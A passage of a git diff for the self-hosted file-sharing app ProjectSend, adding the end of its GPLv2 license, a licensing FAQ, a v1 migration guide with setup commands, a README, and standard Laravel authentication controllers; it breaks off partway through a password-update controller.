law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, see . + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Moe Ghoul, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/LICENSING.md b/LICENSING.md new file mode 100644 index 00000000..f1e12333 --- /dev/null +++ b/LICENSING.md @@ -0,0 +1,106 @@ +# ProjectSend Licensing + +ProjectSend is available under two licenses. Pick whichever fits. + +## 1. GNU GPL v2 — free, for everyone + +The default, and the license ProjectSend has used since 2011. Free of charge, forever, with the +four freedoms intact: run it, study it, modify it, share it. See [LICENSE](LICENSE) for the full +text. Formally the grant is "GPLv2, or at your option, any later version" — the "or later" +option is there because some bundled dependencies (such as the AWS SDK) are Apache-2.0 licensed, +which combines cleanly with GPLv3 terms but not with GPLv2-only. + +**If you're self-hosting ProjectSend to share files with your own clients, this is you, and there +is nothing to think about.** Using the software — even commercially, even inside a large company, +even with paying clients — triggers no obligations. You don't have to publish anything. + +The GPL asks for reciprocity in one situation: **if you distribute a modified version**, you ship +your changes' source alongside it, under the GPL. Running it on your own server isn't +distribution. + +## 2. Commercial license — for when the GPL doesn't fit + +Some organizations can't work under copyleft terms. Common cases: + +- You want to **embed** ProjectSend inside a closed-source product you sell. +- You want to **white-label** it as part of a commercial offering and distribute it to customers + without publishing your modifications. +- Your legal or procurement department has a blanket policy against GPL dependencies in shipped + products. +- You need **warranties or indemnification**, which no open source license provides. + +A commercial license removes the GPL's source-sharing obligations. It's the same software. + +Contact with a short description of what you're building and how you +plan to distribute it, and we'll come back with terms. + +--- + +## What's in the core, and what's in ProjectSend Cloud + +We run [ProjectSend Cloud](https://projectsend.cloud), a hosted version. It has features the +self-hosted core doesn't. Rather than let you find that out one feature announcement at a time, +here's the line we draw and the commitments that go with it. + +**The principle:** if a capability makes ProjectSend work for one organization on its own server, +it belongs in the core. If it only exists because we run installations on other people's behalf, +it belongs in Cloud. + +| | | +|---|---| +| **Always in the free core** | Client accounts and groups · file assignment and expiration · client uploads · download tracking and activity logs · categories and folders · themes and custom branding · two-factor authentication · role-based permissions · S3-compatible storage · public links · translations · the extension API | +| **Cloud only** | Billing and subscriptions · automated provisioning · managed backups and restore · infrastructure monitoring and uptime SLA · managed email deliverability · cross-organization administration | + +**Our commitments:** + +1. Nothing that is free today will ever move behind a paid tier. +2. No artificial limits in the self-hosted version — no caps on users, clients, files or storage + designed to push you toward the hosted plan. Self-hosted ProjectSend is a complete product, + not a demo. +3. Cloud features are built on a public extension API. The same API is available to you, so + anything we can build as a first-party extension, you can build too. +4. When we add a paid feature, we'll say so plainly in the release notes rather than letting you + discover it. + +**Where it gets genuinely gray:** enterprise-oriented capabilities like SAML/SSO, advanced audit +exports, and long-horizon retention policies would work fine self-hosted, and we may build some +of them for paying customers. We're not going to pretend otherwise. What we won't do is take +something out of the core to put it there. + +--- + +## Frequently asked questions + +**I run ProjectSend on my own server for my clients. Do I owe anything?** +No. Self-hosting for your own use — including commercial use, including with paying clients — +carries no obligation. You don't have to publish anything and you don't need a commercial license. + +**I made changes to my installation. Now what?** +If you're not distributing that modified version to anyone else, nothing. Keep your changes to +yourself if you want. If you do hand out copies, they come with the source under the GPL. Either +way, we'd rather you upstream them. + +**Can I resell ProjectSend hosting?** +Yes. The GPL doesn't stop anyone from offering ProjectSend as a hosted service, including in +competition with us. + +**Why is there a CLA if the license isn't changing?** +Two reasons. It's what lets us offer the commercial license described above — without rights to +every contributor's code, we can't license the whole thing to anyone. And it means we're not +permanently locked out of ever updating the project's license, which today would require +tracking down fifteen years of contributors. We have no license change planned. See +[CONTRIBUTING.md](CONTRIBUTING.md) for the full reasoning and what we commit to in exchange. + +**Are you going to switch to AGPL / BSL / SSPL?** +No plans. If that ever changes it'll be proposed publicly and discussed before anything happens, +not announced after the fact. And in any case, every release published under the GPLv2 stays +GPLv2 permanently — that can't be revoked and we wouldn't want to. + +**Do I need a commercial license to contribute?** +No. Contributions are welcome under the GPL. See [CONTRIBUTING.md](CONTRIBUTING.md). + +--- + +*Nothing on this page is legal advice. If your situation is complicated, talk to a lawyer — and +if you tell us what you're trying to do, we'll usually be able to tell you quickly whether you +need a commercial license or not.* diff --git a/MIGRATING-FROM-V1.md b/MIGRATING-FROM-V1.md new file mode 100644 index 00000000..c19ad275 --- /dev/null +++ b/MIGRATING-FROM-V1.md @@ -0,0 +1,355 @@ +# Moving from ProjectSend Legacy (v1) + +This guide takes an existing **ProjectSend Legacy** install — the r2098-era PHP app, the one whose +database tables are named `tbl_users`, `tbl_files` and so on — and brings its accounts, clients, +groups, categories, folders, files and history into a new **ProjectSend** install. + +It is done by a separate tool, [`projectsend/v1-migration-tool`](https://github.com/projectsend/v1-migration-tool), +which you install into your new install when you want it and remove when you are done. It is +deliberately not built in: migrating happens once, if ever, and the engine it needs — arbitrary +database connections and direct writes across the whole schema — is not something every install +should carry idle. + +**Your old install is never written to.** Not a marker row, not a lock file, not a maintenance +flag. It keeps running exactly as it did while you try the migration, look at the result, undo it, +adjust and try again. Nothing about this is a one-way door until you decide it is. + +The whole thing takes about twenty minutes on a small install. Large ones take longer to plan than +to run — see [Large installs](#large-installs). + +--- + +## Read this part first + +Three things decide whether this will go smoothly, and all three are easier to deal with now than +halfway through. + +### Your clients will sign in with their email address + +Legacy signs in with a **username**. ProjectSend signs in with an **email address**. Every client's +login therefore changes. + +Their **passwords do not** — the hashes come across as they are, so nobody gets a reset email and +nobody is forced to pick a new password. Only the thing they type in the first box changes. + +The exception is an account whose stored hash ProjectSend cannot read: a blank password, or one +left by a Legacy install old enough to predate the hashing it uses now. Those accounts could not +sign into Legacy either, and they cannot be repaired — the password itself is long gone. The tool +names them before the run and counts them in the report; those people use **Forgot password** once, +after which their account behaves like any other. + +Legacy also did not require email addresses to be unique, because it never signed in with them. The +tool refuses to start until duplicates, blanks and invalid addresses are fixed in your Legacy +install, and it names the accounts. That refusal is on purpose: picking a winner between two +accounts sharing an address is deciding which of your clients loses access, and that is not a +decision a tool should make quietly. + +### The new install has to be empty + +Set up, but not used. Create the administrator, then migrate — don't upload files or add clients +first. There are no merge semantics, and "empty" is exactly what makes the undo trustworthy. + +### A background worker has to be running + +A real import outlives any web request. The screen queues a job and polls; without a worker the run +sits at "pending" forever. In Docker the worker container is already running. On a manual install, +see [the worker section of INSTALL.md](INSTALL.md#the-background-worker). + +--- + +## What comes across + +Everything in this list, in this order — it follows the dependency graph, so accounts exist before +the things that point at them: + +| | | +|---|---| +| **Settings** | The ~43 Legacy options that have a ProjectSend equivalent, plus your mail/SMTP configuration | +| **CAPTCHA keys** | Every reCAPTCHA and Turnstile key pair you had, and which service was switched on. They arrive encrypted, where Legacy kept them in plain text | +| **Roles and permissions** | Including the per-role permission sets | +| **Accounts** | Staff and clients, with their password hashes, disk quotas and custom fields | +| **Groups** | Members and pending membership requests | +| **Categories** | Flattened — see the note below | +| **Folders** | The tree, and who each folder is assigned to | +| **Files** | The rows *and* the bytes, with their descriptions, expiry dates, public flags and download limits | +| **Assignments** | Which clients and groups each file was shared with, and its categories | +| **History** | Every download, and the activity log | + +**Categories are flattened.** Legacy nested them; ProjectSend does not. Every category that had a +parent takes its whole ancestry as its name — `Clients / Acme / Invoices` — and a root category +keeps its bare name. Nothing merges and nothing is dropped, so no file loses a tag. + +**Download counts come with the downloads.** If a file had a download limit of 3 in Legacy and had +already been taken twice, it arrives here with one download left, not three. + +### What does not, and why + +The tool reports each of these before it starts and names every affected row. It never guesses. + +| | | +|---|---| +| **Files encrypted at rest** | ProjectSend has no at-rest encryption, and the per-file keys are wrapped by a master key that exists only in Legacy's `sys.config.php` | +| **Files on S3, GCS or Azure** | Legacy configured external storage per file; ProjectSend has one bucket for everything | +| **Hidden assignments** | ProjectSend has no hidden state, and creating the assignment anyway would show people files that were hidden from them | +| **Two-factor secrets** | Encrypted with Legacy's key. Those users re-enrol | +| **Email templates** | The placeholder vocabulary is different, so importing them verbatim produces emails with broken tokens — worse than starting from the defaults | +| **Legacy options with no equivalent** | ProjectSend has ~43 settings where Legacy had ~180 | +| **Thumbnails** | A derived cache. ProjectSend regenerates them on first request | + +--- + +## Step 1 — Install the tool + +On the **new** install: + +```sh +composer require projectsend/v1-migration-tool +php artisan migrate # creates the tool's two tables +npm run build # so its screen enters the frontend bundle +``` + +In Docker, prefix each with `docker compose exec app` (except `npm run build`, which runs on the +host). + +> While the repository is private, `composer require` needs to be told where to find it — add a +> `vcs` entry to your `composer.json` `repositories` and give Composer credentials for the repo: +> +> ```json +> "repositories": [ +> { "type": "vcs", "url": "https://github.com/projectsend/v1-migration-tool" } +> ] +> ``` + +Then open **`/system/migrate`** on your new install, signed in as a staff user with the *Edit +settings* permission. There is no sidebar link — a one-time tool does not earn a permanent slot in +the navigation of an install that will use it once. + +Everything below can also be done entirely from the command line; the equivalent commands are +listed at each step. + +--- + +## Step 2 — Pick your route + +| Your situation | Use | +|---|---| +| Legacy and ProjectSend are on the **same machine** | [**Direct**](#step-3a--direct-same-machine) | +| Legacy is on **another server**, or on hosting you cannot reach from the new box | [**Bundle**](#step-3b--bundle-different-machines) | + +Direct is faster and simpler, and on a single filesystem it does not copy your files at all — it +hardlinks them, so 400 GB migrates in seconds and both installs point at the same bytes until you +decide otherwise. Use it if you can. + +--- + +## Step 3a — Direct (same machine) + +Point the tool at your Legacy install directory. It reads the database credentials out of +`includes/sys.config.php` itself, so there is usually nothing to type but the path: + +```sh +php artisan projectsend:migrate:preflight --v1-path=/var/www/projectsend-legacy +``` + +On the screen, choose **Direct**, enter the same path, and pick how to move file bytes: + +| `--files=` | What it does | +|---|---| +| `hardlink` | A second directory entry for the same bytes. Instant, costs no disk, leaves Legacy completely intact. Only works within one filesystem, and falls back to copying across a boundary rather than failing | +| `copy` | **Default.** The only strategy that is always correct, and it checksums what it writes as it writes it | +| `move` | Takes the bytes out of Legacy. Fast and frees disk — and **cannot be undone** | +| `defer` | Writes no bytes at all. For importing the database now and moving half a terabyte overnight | + +If ProjectSend runs in Docker, the Legacy directory has to be visible **inside the app container** +— bind-mount it there, and use the container's path, not the host's. + +--- + +## Step 3b — Bundle (different machines) + +Run one dependency-free PHP file on the Legacy box; it produces a portable directory you bring +over. Download it from `/system/migrate` (there is a link on the screen) or take it from the +package at `bin/projectsend-v1-export.php`. + +On the **Legacy** server: + +```sh +php projectsend-v1-export.php --preflight # look before you leap +php projectsend-v1-export.php --out=/tmp/ps-export # write the bundle +``` + +It searches upwards from itself for `includes/sys.config.php`; pass `--install=/var/www/projectsend` +if you put it somewhere else. It never writes to the Legacy install. + +**In the `linuxserver/projectsend` container**, where the app lives at `/app/www/public`, uploads +are a symlink to `/data/projectsend` and the config is a symlink to +`/config/projectsend/sys.config.php`: + +```sh +docker exec projectsend php /app/www/public/projectsend-v1-export.php --out=/data/ps-export +``` + +That lands the bundle on the host's own `/data` bind mount. Both symlinks are followed; nothing +else is needed. + +### Bundles and file bytes + +By default the exporter records an **inventory** of every file — path and size — without moving a +byte. That is the only sane choice above a few gigabytes, and it means the bundle is small enough +to copy anywhere. + +Move the files separately, at your own pace, into a `files/` directory inside the bundle: + +```sh +rsync -a legacy-server:/var/www/projectsend/upload/files/ /tmp/ps-export/files/ +``` + +The import finds them there. If you would rather have everything in one object, export with +`--files=copy` instead — convenient, and it doubles the disk you need on the Legacy box. + +Then copy the bundle to the new server, choose **Bundle** on the screen and give it the path (again, +the path *inside* the app container if you are using Docker): + +```sh +php artisan projectsend:migrate:preflight --bundle=/srv/ps-export +``` + +--- + +## Step 4 — Read the preflight + +Preflight changes nothing. It reports what it found — how many accounts, files, downloads and +activity rows — and separates its findings into three kinds: + +- **Blockers.** Duplicate, blank or invalid email addresses; a schema mismatch. The run will not + start until these are fixed. +- **Acknowledgements.** Things with no equivalent here, from the list above. You confirm you have + read them; the run then skips those rows and lists them in its report. +- **Notes.** For information — file rows whose bytes are already gone from the Legacy disk, for + instance, which is common on old installs. + +Fix the blockers **in your Legacy install** (that is the one place a duplicate email can be +resolved by a human who knows which client is which), then run preflight again. + +--- + +## Step 5 — Import + +Press the button, or: + +```sh +php artisan projectsend:migrate:import --v1-path=/var/www/projectsend-legacy --files=hardlink +php artisan projectsend:migrate:import --bundle=/srv/ps-export +``` + +Add `--accept-skips` to acknowledge the findings from step 4 non-interactively. + +The screen shows progress per phase and keeps working if you close the tab — the run is a database +row, not a browser session. If the worker is restarted mid-import it picks up where it left off; +chunks are checkpointed, and rows already written are never written twice. + +History is imported last on purpose. It is the largest part by an order of magnitude, and it is the +one part you could reasonably abandon halfway with everything that matters already in. + +--- + +## Step 6 — Check it + +```sh +php artisan projectsend:migrate:verify +``` + +Every entity is checked as an equation: imported + deliberately skipped = what Legacy had. A number +that does not add up is reported as a bug in the tool, not as a warning about your data. It also +checks that imported files actually have bytes at the path they claim — the check that catches a +transfer failing quietly, which is the difference between a migration and a database full of broken +download links. + +Then look at it yourself. Sign in, open the file library, open a client's portal, download +something. + +--- + +## Undoing it + +```sh +php artisan projectsend:migrate:reset +``` + +Every run records exactly what it created, so this puts the install back to how it was — including +anything that existed before the run, which is left alone. Try the migration, look at the result, +adjust, run it again. + +The one exception is `--files=move`, which took the bytes out of your Legacy install. Deleting the +rows afterwards leaves them nowhere. The command tells you this before it does anything, not after. + +--- + +## Cutting over + +Once you are satisfied: + +1. **Tell your clients their login changed** — email address instead of username, same password. The + run report gives you the list of who and what, including the handful (if any) whose password + could not be read and who need **Forgot password** once. +2. Keep the Legacy install running read-only for a while if you can. Nothing was taken from it + (unless you used `--files=move`), so it stays a working reference. +3. Remove the tool: + +```sh +php artisan projectsend:migrate:reset --drop # also drops the tool's own tables +composer remove projectsend/v1-migration-tool +``` + +`--drop` throws away the Legacy → ProjectSend id map. **Keep it** if you may ever want to redirect +old `download.php?id=…` links, because it is the only thing that can resolve them. Removing the +package without `--drop` leaves the two tables behind harmlessly. + +--- + +## Large installs + +The awkward cases are not the complicated ones, they are the big ones: 200,000 small files, or +400 GB of one client's raw footage, or five million rows of download history. Three options exist +for exactly that. + +| | | +|---|---| +| `--files=hardlink` | The 400 GB case. No bytes are copied; both installs point at the same inodes. Same filesystem only | +| `--files=defer` | Import the database tonight, `rsync` the files over the next two days, attach them afterwards | +| `--history=none` | Skip downloads and the activity log entirely. Everything that matters is still imported; you lose the counts and the log | + +`--history=none` has one visible consequence worth knowing: a file that carried a download limit +arrives with a **full** allowance, because the downloads that had already been spent against it are +what the count is derived from. + +Two practical notes for big runs: + +- Give the queue worker room. One worker is enough; it is one long job, not many. +- On a bundle, the file inventory (`--files=inventory`, the default) is what keeps the export + itself small enough to move. + +--- + +## When something goes wrong + +**"This install already has content."** The tool imports into a fresh ProjectSend only. Either use a +genuinely new install, or `php artisan projectsend:migrate:reset` if the content came from a +previous run of the tool itself. + +**The run sits at "pending" and nothing happens.** No queue worker. See +[INSTALL.md](INSTALL.md#the-background-worker). + +**"No manifest.json in … — this is not a ProjectSend v1 export bundle."** The path points at the +wrong directory, or at the parent of the bundle rather than the bundle. + +**A schema mismatch at preflight.** The tool declares every table and column it writes and checks +them before it starts, so this stops the run rather than failing halfway through 200,000 rows. +Update ProjectSend to a version that has what the tool expects — or update the tool. + +**Files import but download as 404.** The bytes did not move. Run +`php artisan projectsend:migrate:verify`, which checks precisely this. A common cause in Docker is +a Legacy directory that is visible on the host but not inside the app container. + +**Uploads and database seem to vanish after a Docker restart.** That is not the migration — read +[DOCKER.md](DOCKER.md) before putting real files into any Docker install. diff --git a/README.md b/README.md new file mode 100644 index 00000000..2116ac1c --- /dev/null +++ b/README.md @@ -0,0 +1,122 @@ +

+ +

+ +

ProjectSend

+ +

+ Share files with your clients, from your own server. +

+ +

+ License: GPL v2 or later + PHP 8.4+ + Self-hosted +

+ +--- + +ProjectSend is a self-hosted application for getting files to the people you work with. You upload +what you want to send, choose exactly who can see it, and each client signs in to their own private +page to download it. + +No public link passed around by email, no third-party service holding your clients' documents, no +per-seat pricing. It runs on your server, and the files stay there. + +## What it does + +**For the people you send to** +- A private area per client, showing only what has been shared with them +- Sign in with an email address, with optional two-factor authentication +- Search, filter and sort their files; download one, several as a zip, or a whole folder +- Optional comments on a file, so questions live next to the thing they are about +- Email notifications when something new arrives, in their own language + +**For you** +- Resumable uploads that survive a dropped connection, so large files actually arrive +- Organise with folders, categories and client groups +- Share with one client, a whole group, or publicly — and set an expiry date or a download limit +- Thumbnails and previews for images and documents +- Storage quotas per client, and custom fields for the details you need to keep on them +- A full activity log and download history: who got what, and when + +**For the installation** +- Roles and permissions for your own team, so an uploader is not an administrator +- Sign-in the way you already work: LDAP, social sign-in, or plain email and password +- Themes for the client-facing pages and for outgoing email +- 16 languages +- A REST API with scoped tokens and generated OpenAPI docs +- Privacy controls, including GDPR-grade account erasure with a grace period +- Local disk or S3-compatible storage + +## Screenshots + +

+ The dashboard, showing counters for files, clients and groups alongside largest files, recent activity and system information +

+

The dashboard — what is in the installation, and what has been happening in it.

+ +

+ The file library, showing folders and files with thumbnails, sharing status and download counts +

+

Your library — folders, categories, and who each file is shared with.

+ +

+ A client's own page, listing the files shared with them with download buttons +

+

What your client sees — only their files, nothing else.

+ +## Getting started + +**With Docker** — the quickest path, and the one we recommend. + +```sh +git clone https://github.com/projectsend/projectsend.git +cd projectsend +cp .env.example .env # set PROJECTSEND_EDITION=community +docker compose up -d +``` + +The app is at `http://localhost:8090`, and the first thing it shows you is a setup screen that +creates your administrator account. + +Before you put real files in it, read **[DOCKER.md](DOCKER.md)** — where your database and uploads +actually live, how to move them onto paths you chose, and how to back them up so an upgrade can't +take them with it. + +**Without Docker** — for servers where it isn't an option, install from a release zip. +**[INSTALL.md](INSTALL.md)** covers requirements, `.env`, nginx, the background worker and cron, +updating and troubleshooting. You do not need Composer or npm on the server; the zip ships ready to +run. + +## Coming from ProjectSend Legacy? + +The previous generation of ProjectSend lives on at +[projectsend/legacy](https://github.com/projectsend/legacy). This is a rebuild rather than an +upgrade, so moving across is an import rather than an update — install fresh, then bring your old +site into it with the +[migration tool](https://github.com/projectsend/v1-migration-tool): accounts, clients, groups, +categories, folders, files and history. + +It never writes to your old install, and any run can be undone with a single command. +**[MIGRATING-FROM-V1.md](MIGRATING-FROM-V1.md)** explains what comes across, the two routes +(same machine, or a portable export from a server you can't reach), and the one change your clients +will notice: they sign in with their email address now, using the same password. + +## Contributing + +Bug reports, translations and pull requests are all welcome — see +**[CONTRIBUTING.md](CONTRIBUTING.md)** for how to set up a development copy, what the checks are, +and the contributor agreement. + +Found a security issue? Please report it privately through GitHub's security advisories rather than +opening a public issue. + +## License + +Free software under the **GNU General Public License v2, or (at your option) any later version** — +see [LICENSE](LICENSE). Use it, study it, change it, share it. + +Commercial licenses are available for organizations that cannot work under copyleft terms; +[LICENSING.md](LICENSING.md) explains both options. Contributions require signing a CLA, for reasons +set out in [CONTRIBUTING.md](CONTRIBUTING.md). diff --git a/app/Http/Controllers/Auth/AuthenticatedSessionController.php b/app/Http/Controllers/Auth/AuthenticatedSessionController.php new file mode 100644 index 00000000..f86ce468 --- /dev/null +++ b/app/Http/Controllers/Auth/AuthenticatedSessionController.php @@ -0,0 +1,56 @@ + Route::has('password.request'), + 'canRegister' => app(Settings::class)->get(Setting::ClientsCanRegister) === true, + 'status' => $request->session()->get('status'), + ]); + } + + /** + * Handle an incoming authentication request. + */ + public function store(LoginRequest $request): RedirectResponse + { + if ($request->authenticate()) { + return redirect()->route('two-factor.challenge'); + } + + $request->session()->regenerate(); + + return redirect()->intended(route('dashboard', absolute: false)); + } + + /** + * Destroy an authenticated session. + */ + public function destroy(Request $request): RedirectResponse + { + Auth::guard('web')->logout(); + + $request->session()->invalidate(); + $request->session()->regenerateToken(); + + return redirect('/'); + } +} diff --git a/app/Http/Controllers/Auth/ConfirmablePasswordController.php b/app/Http/Controllers/Auth/ConfirmablePasswordController.php new file mode 100644 index 00000000..bd2db422 --- /dev/null +++ b/app/Http/Controllers/Auth/ConfirmablePasswordController.php @@ -0,0 +1,44 @@ +user(); + assert($user !== null); + + if (! Auth::guard('web')->validate([ + 'email' => $user->email, + 'password' => $request->password, + ])) { + throw ValidationException::withMessages([ + 'password' => __('auth.password'), + ]); + } + + $request->session()->put('auth.password_confirmed_at', time()); + + return redirect()->intended(route('dashboard', absolute: false)); + } +} diff --git a/app/Http/Controllers/Auth/EmailVerificationNotificationController.php b/app/Http/Controllers/Auth/EmailVerificationNotificationController.php new file mode 100644 index 00000000..222ef9b1 --- /dev/null +++ b/app/Http/Controllers/Auth/EmailVerificationNotificationController.php @@ -0,0 +1,27 @@ +user(); + assert($user !== null); + + if ($user->hasVerifiedEmail()) { + return redirect()->intended(route('dashboard', absolute: false)); + } + + $user->sendEmailVerificationNotification(); + + return back()->with('status', 'verification-link-sent'); + } +} diff --git a/app/Http/Controllers/Auth/EmailVerificationPromptController.php b/app/Http/Controllers/Auth/EmailVerificationPromptController.php new file mode 100644 index 00000000..af599f46 --- /dev/null +++ b/app/Http/Controllers/Auth/EmailVerificationPromptController.php @@ -0,0 +1,25 @@ +user(); + assert($user !== null); + + return $user->hasVerifiedEmail() + ? redirect()->intended(route('dashboard', absolute: false)) + : Inertia::render('auth/verify-email', ['status' => $request->session()->get('status')]); + } +} diff --git a/app/Http/Controllers/Auth/NewPasswordController.php b/app/Http/Controllers/Auth/NewPasswordController.php new file mode 100644 index 00000000..264a0e97 --- /dev/null +++ b/app/Http/Controllers/Auth/NewPasswordController.php @@ -0,0 +1,69 @@ + $request->email, + 'token' => $request->route('token'), + ]); + } + + /** + * Handle an incoming new password request. + * + * @throws ValidationException + */ + public function store(Request $request): RedirectResponse + { + $request->validate([ + 'token' => 'required', + 'email' => 'required|email', + 'password' => ['required', 'confirmed', Rules\Password::defaults()], + ]); + + // Here we will attempt to reset the user's password. If it is successful we + // will update the password on an actual user model and persist it to the + // database. Otherwise we will parse the error and return the response. + $status = Password::reset( + $request->only('email', 'password', 'password_confirmation', 'token'), + function ($user) use ($request) { + $user->forceFill([ + 'password' => Hash::make($request->password), + 'remember_token' => Str::random(60), + ])->save(); + + event(new PasswordReset($user)); + } + ); + + // If the password was successfully reset, we will redirect the user back to + // the application's home authenticated view. If there is an error we can + // redirect them back to where they came from with their error message. + if ($status == Password::PasswordReset) { + return to_route('login')->with('status', __($status)); + } + + throw ValidationException::withMessages([ + 'email' => [__($status)], + ]); + } +} diff --git a/app/Http/Controllers/Auth/PasswordResetLinkController.php b/app/Http/Controllers/Auth/PasswordResetLinkController.php new file mode 100644 index 00000000..b20ec94c --- /dev/null +++ b/app/Http/Controllers/Auth/PasswordResetLinkController.php @@ -0,0 +1,45 @@ + $request->session()->get('status'), + ]); + } + + /** + * Handle an incoming password reset link request. + * + * @throws ValidationException + */ + public function store(Request $request): RedirectResponse + { + $request->validate([ + 'email' => ['required', 'email'], + ...Rules::captcha(CaptchaForm::PasswordReset), + ]); + + Password::sendResetLink( + $request->only('email') + ); + + return back()->with('status', __('A reset link will be sent if the account exists.')); + } +} diff --git a/app/Http/Controllers/Auth/VerifyEmailController.php b/app/Http/Controllers/Auth/VerifyEmailController.php new file mode 100644 index 00000000..81d08974 --- /dev/null +++ b/app/Http/Controllers/Auth/VerifyEmailController.php @@ -0,0 +1,34 @@ +user(); + assert($user !== null); + + if ($user->hasVerifiedEmail()) { + return redirect()->intended(route('dashboard', absolute: false).'?verified=1'); + } + + if ($user->markEmailAsVerified()) { + /** @var MustVerifyEmail $verified */ + $verified = $user; + + event(new Verified($verified)); + } + + return redirect()->intended(route('dashboard', absolute: false).'?verified=1'); + } +} diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php new file mode 100644 index 00000000..8677cd5c --- /dev/null +++ b/app/Http/Controllers/Controller.php @@ -0,0 +1,8 @@ + $request->user() instanceof MustVerifyEmail, + 'status' => $request->session()->get('status'), + ]); + } + + /** + * Update the user's password. + */ + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'current_password' => ['required', 'current_password'], + 'password' => ['required', Password::defaults(), 'confirmed'], + ]); + + $user = $request->user(); + assert($user !== null); + + $user->update([ + 'password' => Hash::make($validated['password']), + ]); + + // Changing a password is how someone reacts to a session they think + // is stolen, so it has to actually end that session. AuthenticateSession + // 